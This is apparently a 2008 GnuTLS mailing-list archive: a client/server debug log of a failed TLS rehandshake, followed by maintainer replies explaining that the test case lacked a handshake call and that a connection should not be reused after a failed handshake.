HSK[0x11a0ed0]: Initializing internal [write] cipher sessions client |<6>| BUF[HSK]: Peeked 0 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<3>| HSK[0x11a0ed0]: FINISHED was send [16 bytes] client |<6>| BUF[HSK]: Peeked 0 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<4>| REC[0x11a0ed0]: Sending Packet[0] Handshake(22) with length: 16 client |<7>| WRITE: Will write 133 bytes to 0x5. client |<7>| WRITE: wrote 133 bytes to 0x5. Left 0 bytes. Total 133 bytes. client |<7>| 0000 - 16 03 02 00 80 33 01 98 eb b7 08 19 70 b3 7a c3 client |<7>| 0001 - 70 df 5e 2b 67 fd 0a 3f 03 28 58 76 3f 68 07 77 client |<7>| 0002 - 61 04 a5 cc 4e f9 d0 e7 a1 f5 10 ef 22 07 a3 3c client |<7>| 0003 - fe 5e ed a4 7b 52 66 80 4c 73 79 8c 26 df 3e 8a client |<7>| 0004 - 71 a8 e7 a5 48 b5 f9 78 6b d4 de 34 30 6b 41 9b client |<7>| 0005 - 85 e4 f8 3e 50 1f f9 77 fd 4a f4 6e a4 9a da 54 client |<7>| 0006 - 28 e6 ff 7a 7c 9a 1e 75 37 2f 51 c4 a3 9a af 5f client |<7>| 0007 - bf 89 9e 82 22 9f 87 9c 77 b0 40 85 bd c1 75 a2 client |<7>| 0008 - 36 d3 8e 9b d3 client |<4>| REC[0x11a0ed0]: Sent Packet[1] Handshake(22) with length: 133 server |<7>| READ: Got 5 bytes from 0x5 server |<7>| READ: read 5 bytes from 0x5 server |<7>| 0000 - 14 03 02 00 01 server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. server |<7>| RB: Requested 5 bytes server |<4>| REC[0x11a3a20]: Expected Packet[2] Change Cipher Spec(20) with length: 1 server |<4>| REC[0x11a3a20]: Received Packet[2] Change Cipher Spec(20) with length: 1 server |<7>| READ: Got 1 bytes from 0x5 server |<7>| READ: read 1 bytes from 0x5 server |<7>| 0000 - 01 server |<7>| RB: Have 5 bytes into buffer. Adding 1 bytes. server |<7>| RB: Requested 6 bytes server |<2>| ASSERT: gnutls_cipher.c:204 server |<4>| REC[0x11a3a20]: ChangeCipherSpec Packet was received server |<9>| INT: PREMASTER SECRET[128]: 41167049932bc84516104c5a35c565b8f77c55c8f51920db9918c959f0a0b81a42f33e5e19e73bc00de227df548dc9ab7d3bee6def0264a6d50945f305836d1867155349dc79278e98b4598d99e60031f879c4d4501a00b3724d75ae8d998424f2bb63d0ecb714c64433ede260f45aa08e5a108fbea41fece3cf912532396238 server |<9>| INT: CLIENT RANDOM[32]: 493003f07cb0a96ff6f64d34a0775a8fe16e8207e1d499379094be7d54a4d653 server |<9>| INT: SERVER RANDOM[32]: 493003f068cb073298354d10b6a92c28dbd391f79b987ad08b849be04d81ed7e server |<9>| INT: MASTER SECRET: 8297ae98d8ec3fad5c87234f9566a3a3184ba0578f34e95953ec3ba3a795066fb065484b92310e49ddd349a16a87e19a server |<9>| INT: KEY BLOCK[104]: ad2bd026a0c1a87c3af3b45ebbea20ce8bde45b2db0ba6fef618b72eeec569de server |<9>| INT: CLIENT WRITE KEY [16]: 6e9f1ef36d56350aa51d7be0862c3302 server |<9>| INT: SERVER WRITE KEY [16]: 1e1b4a6c7f77c32d73a1d424a06d03a6 server |<3>| HSK[0x11a3a20]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Initializing internal [read] cipher sessions server |<7>| READ: Got 5 bytes from 0x5 server |<7>| READ: read 5 bytes from 0x5 server |<7>| 0000 - 16 03 02 00 80 server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. server |<7>| RB: Requested 5 bytes server |<4>| REC[0x11a3a20]: Expected Packet[0] Handshake(22) with length: 1 server |<4>| REC[0x11a3a20]: Received Packet[0] Handshake(22) with length: 128 server |<7>| READ: Got 128 bytes from 0x5 server |<7>| READ: read 128 bytes from 0x5 server |<7>| 0000 - 33 01 98 eb b7 08 19 70 b3 7a c3 70 df 5e 2b 67 server |<7>| 0001 - fd 0a 3f 03 28 58 76 3f 68 07 77 61 04 a5 cc 4e server |<7>| 0002 - f9 d0 e7 a1 f5 10 ef 22 07 a3 3c fe 5e ed a4 7b server |<7>| 0003 - 52 66 80 4c 73 79 8c 26 df 3e 8a 71 a8 e7 a5 48 server |<7>| 0004 - b5 f9 78 6b d4 de 34 30 6b 41 9b 85 e4 f8 3e 50 server |<7>| 0005 - 1f f9 77 fd 4a f4 6e a4 9a da 54 28 e6 ff 7a 7c server |<7>| 0006 - 9a 1e 75 37 2f 51 c4 a3 9a af 5f bf 89 9e 82 22 server |<7>| 0007 - 9f 87 9c 77 b0 40 85 bd c1 75 a2 36 d3 8e 9b d3 server |<7>| 0008 - server |<7>| RB: Have 5 bytes into buffer. Adding 128 bytes. server |<7>| RB: Requested 133 bytes server |<4>| REC[0x11a3a20]: Decrypted Packet[0] Handshake(22) with length: 16 server |<6>| BUF[HSK]: Inserted 16 bytes of Data(22) server |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) server |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) server |<3>| HSK[0x11a3a20]: FINISHED was received [16 bytes] server |<6>| BUF[REC][HD]: Read 12 bytes of Data(22) server |<6>| BUF[HSK]: Peeked 134 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<6>| BUF[HSK]: Inserted 4 bytes of Data server |<6>| BUF[HSK]: Inserted 12 bytes of Data server |<3>| REC[0x11a3a20]: Sent ChangeCipherSpec server |<4>| REC[0x11a3a20]: Sending Packet[4] Change Cipher Spec(20) with length: 1 server |<2>| ASSERT: gnutls_cipher.c:204 server |<7>| WRITE: Will write 6 bytes to 0x5. server |<7>| WRITE: wrote 6 bytes to 0x5. Left 0 bytes. Total 6 bytes. server |<7>| 0000 - 14 03 02 00 01 01 server |<4>| REC[0x11a3a20]: Sent Packet[5] Change Cipher Spec(20) with length: 6client |<7>| 0000 - 14 03 02 00 01 client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client || HSK[0x11a3a20]: Initializing internal [write] cipher sessions hange Cipher Spec(20) with length: 1 client |<4>| REC[0x11a0ed0]: Received Packet[4] Change Cipher Spec(20) with length: 1 client |<7>| READ: Got 1 bytes from 0x5 client |<7>| READ: read 1 bytes from 0x5 client |<7>| 0000 - 01 client |<7>| RB: Have 5 bytes into buffer. Adding 1 bytes. client |<7>| RB: Requested 6 bytes client |<2>| ASSERT: gnutls_cipher.c:204 client |<4>| REC[0x11a0ed0]: ChangeCipherSpec Packet was received client |<3>| HSK[0x11a0ed0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Initializing internal [read] cipher sessions server |<3>| HSK[0x11a3a20]: FINISHED was send [16 bytes] server |<6>| BUF[HSK]: Peeked 0 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<4>| REC[0x11a3a20]: Sending Packet[0] Handshake(22) with length: 16 server |<7>| WRITE: Will write 85 bytes to 0x5. server |<7>| WRITE: wrote 85 bytes to 0x5. Left 0 bytes. Total 85 bytes. server |<7>| 0000 - 16 03 02 00 50 8f 39 bc fe 37 6f 4c 5b fa ac 42 server |<7>| 0001 - 7f 7c 95 90 b0 d4 76 42 9f 85 a2 75 eb 50 9c 50 server |<7>| 0002 - 19 d7 4f aa 3e 47 5d d0 eb 92 82 18 e3 47 dc 03 server |<7>| 0003 - 34 23 af a8 a0 ee 5d 28 94 24 7d a6 67 d8 7d eb server |<7>| 0004 - 20 87 0d ad 24 7a 88 c3 31 f7 45 9e 87 9c b8 45 server |<7>| 0005 - 02 62 31 f9 ac server |<4>| REC[0x11a3a20]: Sent Packet[1] Handshake(22) with length: 85 server |<6>| BUF[HSK]: Cleared Data from buffer client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 client |<7>| 0000 - 16 03 02 00 50 client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7>| RB: Requested 5 bytes client |<4>| REC[0x11a0ed0]: Expected Packet[0] Handshake(22) with length: 1 client |<4>| REC[0x11a0ed0]: Received Packet[0] Handshake(22) with length: 80 client |<7>| READ: Got 80 bytes from 0x5 client |<7>| READ: read 80 bytes from 0x5 client |<7>| 0000 - 8f 39 bc fe 37 6f 4c 5b fa ac 42 7f 7c 95 90 b0 client |<7>| 0001 - d4 76 42 9f 85 a2 75 eb 50 9c 50 19 d7 4f aa 3e client |<7>| 0002 - 47 5d d0 eb 92 82 18 e3 47 dc 03 34 23 af a8 a0 client |<7>| 0003 - ee 5d 28 94 24 7d a6 67 d8 7d eb 20 87 0d ad 24 client |<7>| 0004 - 7a 88 c3 31 f7 45 9e 87 9c b8 45 02 62 31 f9 ac client |<7>| 0005 - client |<7>| RB: Have 5 bytes into buffer. Adding 80 bytes. client |<7>| RB: Requested 85 bytes client |<4>| REC[0x11a0ed0]: Decrypted Packet[0] Handshake(22) with length: 16 client |<6>| BUF[HSK]: Inserted 16 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) client |<3>| HSK[0x11a0ed0]: FINISHED was received [16 bytes] client |<6>| BUF[REC][HD]: Read 12 bytes of Data(22) client |<6>| BUF[HSK]: Peeked 0 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<6>| BUF[HSK]: Inserted 4 bytes of Data client |<6>| BUF[HSK]: Inserted 12 bytes of Data client |<6>| BUF[HSK]: Cleared Data from buffer client |<4>| REC[0x11a0ed0]: Sending Packet[1] Application Data(23) with length: 9 client |<7>| WRITE: Will write 85 bytes to 0x5. client |<7>| WRITE: wrote 85 bytes to 0x5. Left 0 bytes. Total 85 bytes. server |<7>| READ: Got 5 bytes from 0x5 server |<7>| READ: read 5 bytes from 0x5 server |<7>| 0000 - 17 03 02 00 50 server |<7>| RB: Haveclient |<7>| 0002 - 3b ac fd 6b fd 0a f3 50 dc fa 5a 68 f8 b2 be b3 client |<7>| 0003 - 16 dc 5e 79 16 48 a9 78 8e 99 d5 2f 00 5c 9e 78 client |<7>| 0004 - e5 a5 3e 6d 24 6b 04 55 75 d2 41 d5 80 64 1c 49 client |<7>| 0005 - d2 38 b2 2f 7f client |<4>| REC[0x11a0ed0]: Sent Packet[2] Application Data(23) with length: 85 client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 client |<7>| 0000 - 16 03 02 00 70 client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7>| RB: Requested 5 bytes client |<4>| REC[0x11a0ed0]: Expected Packet[1] Application Data(23) with length: 1024 client |<4>| REC[0x11a0ed0]: Received Packet[1] Handshake(22) with length: 112 client |<7>| READ: Got 112 bytes from 0x5 client |<7>| READ: read 112 bytes from 0x5 client |<7>| 0000 - 57 86 69 e7 ca 7f 9d 3b 24 99 e4 52 7c ed c3 47 client |<7>| 0001 - 0c dd db d8 25 43 a7 cd 60 14 93 aa 4c f5 46 81 client |<7>| 0002 - 54 76 c1 a3 07 b4 98 08 4e 81 45 42 6f 35 66 51 client |<7>| 0003 - 1b ab 03 9c 6c 1b 57 0f 8c 92 1e 37 fa 54 7f 71 client |<7>| 0004 - b1 ac 00 ff 7b 73 59 f1 e8 34 28 99 ef 38 a6 5e client |<7>| 0005 - 7f 0e ed 2f 91 1d 39 64 8d 81 b7 97 99 38 01 d2 client |<7>| 0006 - 4b c7 1a 1f a0 47 c1 f4 ff 4e 7d 86 bf 77 48 97 client |<7>| 0007 - client |<7>| RB: Have 5 bytes into buffer. Adding 112 bytes. client |<7>| RB: Requested 117 bytes client |<4>| REC[0x11a0ed0]: Decrypted Packet[1] Handshake(22) with length: 4 client |<2>| ASSERT: gnutls_record.c:1048 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_MD5 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1 client |<2>| EXT[0x11a0ed0]: Sending extension CERT_TYPE client |<3>| HSK[0x11a0ed0]: CLIENT HELLO was send [76 bytes] client |<6>| BUF[HSK]: Peeked 0 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<4>| REC[0x11a0ed0]: Sending Packet[2] Handshake(22) with length: 76 client |<7>| WRITE: Will write 261 bytes to 0x5. client |<7>| WRITE: wrote 261 bytes to 0x5. Left 0 bytes. Total 261 bytes. client |<7>| 0000 - 16 03 02 01 00 cb 67 f2 aa 40 3b 80 d1 f5 11 da client |<7>| 0001 - 00 f4 b4 36 f9 f9 ac fb 12 53 79 84 1c b3 05 17 client |<7>| 0002 - 4b b4 cd 56 c3 3e 13 c2 63 f6 36 54 0f c2 86 74 client |<7>| 0003 - 05 1d a3 4a 1f bb 14 0f 32 da c2 f5 a1 2e 2f d3 client |<7>| 0004 - 8c f6 18 08 7e 51 69 82 ef 9f 4d a4 a8 f0 79 83 client |<7>| 0005 - 1d 6e 4d 6d 0a e6 16 e7 e3 5a 05 77 ae 95 d2 af client |<7>| 0006 - 04 a3 1f 4e 30 a3 11 a0 e2 ea 47 01 e4 32 ba e9 client |<7>| 0007 - d5 0b f5 8c 1a 56 e3 04 62 2f 66 c1 e2 71 e5 14 client |<7>| 0008 - 0b 33 5c 9f 33 24 ba 33 be e1 46 c2 2f 62 12 7d client |<7>| 0009 - 69 ee 97 73 57 c3 60 a8 1d bc d9 b4 d8 d3 17 94 client |<7>| 000a - ea 22 4b 57 0d a7 54 9b de 06 be 65 99 23 e6 11 client |<7>| 000b - 78 a2 7f c8 ef 80 82 c8 0d 00 39 8f bb e1 ab 9f client |<7>| 000c - 18 58 36 0f de 70 d1 85 c9 6b f0 0d e7 7d 64 90 client |<7>| 000d - 2c 52 48 f9 17 58 67 c9 83 0f 9c c5 3c d0 45 24 client |<7>| 000e - 7b 13 0a 44 39 81 94 30 59 08 92 a0 1c 60 52 a3 client |<7>| 000f - e3 8f 56 c0 48 ea d4 d0 d7 86 22 e9 5c 47 2c ca client |<7>| 0010 - 47 6c a3 d3 c3 client |<4>| REC[0x11a0ed0]: Sent Packet[3] Handshake(22) with length: 261 server |<7>| READ: Got 5 bytes from 0x5 server |<7>| READ: read 5 bytes from 0x5 server |<7>| 0000 - 16 03 02 01 00 server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. server |<7>| RB: Requested 5 bytes server |<4>| REC[0x11a3a20]: Expected Packet[2] Application Data(23) with length: 1024 server |<4>| REC[0x11a3a20]: Received Packet[2] Handshake(22) with length: 256 server |<7>| READ: Got 256 bytes from 0x5 server |<7>| READ: read 256 bytes from 0x5 server |<7>| 0000 - cb 67 f2 aa 40 3b 80 d1 f5 11 da 00 f4 b4 36 f9 server |<7>| 0001 - f9 ac fb 12 53 79 84 1c b3 05 17 4b b4 cd 56 c3 server |<7>| 0002 - 3e 13 c2 63 f6 36 54 0f c2 86 74 05 1d a3 4a 1f server |<7>| 0003 - bb 14 0f 32 da c2 f5 a1 2e 2f d3 8c f6 18 08 7e server |<7>| 0004 - 51 69 82 ef 9f 4d a4 a8 f0 79 83 1d 6e 4d 6d 0a server |<7>| 0005 - e6 16 e7 e3 5a 05 77 ae 95 d2 af 04 a3 1f 4e 30 server |<7>| 0006 - a3 11 a0 e2 ea 47 01 e4 32 ba e9 d5 0b f5 8c 1a server |<7>| 0007 - 56 e3 04 62 2f 66 c1 e2 71 e5 14 0b 33 5c 9f 33 server |<7>| 0008 - 24 ba 33 be e1 46 c2 2f 62 12 7d 69 ee 97 73 57 server |<7>| 0009 - c3 60 a8 1d bc d9 b4 d8 d3 17 94 ea 22 4b 57 0d server |<7>| 000a - a7 54 9b de 06 be 65 99 23 e6 11 78 a2 7f c8 ef server |<7>| 000b - 80 82 c8 0d 00 39 8f bb e1 ab 9f 18 58 36 0f de server |<7>| 000c - 70 d1 85 c9 6b f0 0d e7 7d 64 90 2c 52 48 f9 17 server |<7>| 000d - 58 67 c9 83 0f 9c c5 3c d0 45 24 7b 13 0a 44 39 server |<7>| 000e - 81 94 30 59 08 92 a0 1c 60 52 a3 e3 8f 56 c0 48 server |<7>| 000f - ea d4 d0 d7 86 22 e9 5c 47 2c ca 47 6c a3 d3 c3 server |<7>| 0010 - server |<7>| RB: Have 5 bytes into buffer. Adding 256 bytes. server |<7>| RB: Requested 261 bytes server |<4>| REC[0x11a3a20]: Decrypted Packet[2] Handshake(22) with length: 76 server |<2>| ASSERT: gnutls_record.c:746 server |<2>| ASSERT: gnutls_record.c:1048 server: Received corrupted data(-37). Closing... server |<4>| REC: Sending Alert[1|0] - Close notify server |<4>| REC[0x11a3a20]: Sending Packet[3] Alert(21) with length: 2 server |<7>| WRITE: Will write 69 bytes to 0x5. server |<7>| WRITE: wrote 69 bytes to 0x5. Left 0 bytes. Total 69 bytes. server |<7>| 0000 - 15 03 02 00 40 8a 02 8d 6b d7 ec 7b f7 6d 9c 54 server |<7>| 0001 - 6c 84 c5 56 eb 91 b9 e7 92 b5 54 97 e1 45 3d 74 server |<7>| 0002 - 11 f5 7a 89 76 2b 97 c9 da 88 02 a2 9e 63 3e 76 server |<7>| 0003 - 5d cf 04 0d d9 b2 6c b7 73 d5 9c f1 61 b1 a3 f7 server |<7>| 0004 - d6 43 44 f0 25 server |<4>| REC[0x11a3a20]: Sent Packet[4] Alert(21) with length: 69 client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 client |<7>| 0000 - 17 03 02 00 f0 client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7>| RB: Requested 5 bytes client |<4>| REC[0x11a0ed0]: Expected Packet[2] Handshake(22) with length: 1 client |<4>| REC[0x11a0ed0]: Received Packet[2] Application Data(23) with length: 240 client |<7>| READ: Got 239 bytes from 0x5 client |<7>| READ: read 239 bytes from 0x5 client |<7>| 0000 - 75 1e e5 8f 3e ce d1 13 fa 2e 74 4f ce e0 a2 f7 client |<7>| 0001 - e3 03 d2 0b 11 c8 ae ba d0 0b c6 18 a5 75 38 b5 client |<7>| 0002 - 80 26 fc 78 0d b2 84 cf 32 50 67 45 39 fe 82 e2 client |<7>| 0003 - 48 72 2c 8e 53 51 5b 17 40 7d 5e 96 4c 1f 5b 81 client |<7>| 0004 - cc 9c 60 9c f0 4d df 93 e0 36 fd e1 74 cb dc b3 client |<7>| 0005 - b9 dd a5 e8 6b 6d 54 58 fb ba c4 cc 7c 15 4d 3f client |<7>| 0006 - 0a 63 6a 04 c2 18 ec a3 5e 9f 7c 8a d1 3c 20 ee client |<7>| 0007 - 48 16 e0 15 95 00 66 30 ab 15 71 ed 04 44 09 3a client |<7>| 0008 - d7 d5 05 30 04 d5 c0 56 d5 f9 5a 48 bc de 1a cc client |<7>| 0009 - 50 5f e2 6d 7f 9e a9 5e cd ba a5 ca e4 fe d9 77 client |<7>| 000a - ac be 19 5f c8 d0 6a 35 12 62 46 3f 31 50 dd 13 client |<7>| 000b - 17 71 a0 44 3e dc 7f fc 7b ae 5c 11 43 44 9e 1e client |<7>| 000c - 7b f6 3f 72 31 cf a4 2a 91 09 45 a2 92 08 ae 2e client |<7>| 000d - ee 02 1b 12 0e 7e 9b 68 b9 a9 c4 67 63 aa f1 df client |<7>| 000e - f7 87 dd 0a 08 7f 4a ad 1a ca 78 c7 72 b9 e6 client |<7>| RB: Have 5 bytes into buffer. Adding 239 bytes. client |<7>| RB: Requested 245 bytes client |<7>| READ: Got 1 bytes from 0x5 client |<7>| READ: read 1 bytes from 0x5 client |<7>| 0000 - 7e client |<7>| RB-PEEK: Read 1 bytes in PEEK MODE. client |<7>| RB-PEEK: Have 244 bytes into buffer. Adding 1 bytes. RB: Requested 245 bytes client |<4>| REC[0x11a0ed0]: Decrypted Packet[2] Application Data(23) with length: 9 client |<6>| BUF[REC]: Inserted 9 bytes of Data(23) client |<2>| ASSERT: gnutls_record.c:735 client |<2>| ASSERT: gnutls_record.c:1048 client |<2>| ASSERT: gnutls_buffers.c:1030 client |<2>| ASSERT: gnutls_handshake.c:1045 client |<2>| ASSERT: gnutls_handshake.c:2346 client |<6>| BUF[HSK]: Cleared Data from buffer client: handshake failed. client: Error: An unexpected TLS packet was received. From nmav at gnutls.org Sat Nov 29 09:02:35 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sat, 29 Nov 2008 10:02:35 +0200 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <20081128144722.GA5407@manyfish.co.uk> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> <87zljss3zq.fsf@squeak.fifthhorseman.net> <20081122080503.GA15594@manyfish.co.uk> <87bpw7pp58.fsf@squeak.fifthhorseman.net> <20081122221300.GA20323@manyfish.co.uk> <49290E02.1080302@gnutls.org> <20081128144722.GA5407@manyfish.co.uk> Message-ID: <4930F71B.5020608@gnutls.org> Joe Orton wrote: > I've tried this using a git build of GnuTLS, gnutls-cli and a test > httpd/mod_ssl server configured for per-location client cert auth (i.e. > it requests a second handshake after the GET request is recevied), and > it does fail, so I think this is indeed a GnuTLS bug in the handling of > rehandshakes. Hello Joe, I the test case was not correct. The call (from server) to gnutls_rehandshake will only notify the client about a rehandshake. After that a call to gnutls_handshake is required. Once I do this the test case works correctly (i've also committed it). To debug (1 - gnutls-cli log output from testing using httpd/mod_ssl) you might need some output from mod_ssl as well. There the server notifies the client about a rehandshake, the client starts the handshake by sending client hello and the server replies with an alert. regards, Nikos From nmav at gnutls.org Sat Nov 29 09:22:17 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sat, 29 Nov 2008 10:22:17 +0200 Subject: TLS handshake problems In-Reply-To: References: Message-ID: <4930FBB9.5010602@gnutls.org> Metzler, Richard wrote: > Hello, > > currently I am testing a TLS connection using Gnu TLS 2.2.5.on server > and client side. For the TCP communication Diameter is used. > > There are situations that on both sides the TLS handshake fails, e.g. > due to a wrong client certificate (Gnu TLS error code > NO_CERTIFICATE_FOUND). But in this special case the server finishes the > handshake with error and the client is still waiting in the handshake. > Now the server announces closing the connection to the client by sending > the Diameter disconnect message (DPR). This message is received by the > client Gnu TLS when expecting a TLS message, preventing a correct shut > down of the connection. > To avoid this problem I added a call to gnutls_alert_send_appropriate in > case the server finishes the handshake with errors. This helps to finish > the handshake on the client side in this case, but there are situations > when the handshake is finished on both sides with an error. Then the > additional alert message would be interpreted on the client side as > Diameter message which also is not correct. > My question is, is there a way for the server to decide whether the > alert has to be sent or not, i.e. to detect the state of the client - > maybe by evaluating the result code of the handshake? No. If the connection fails for some reason you should not try to reuse it. regards, Nikos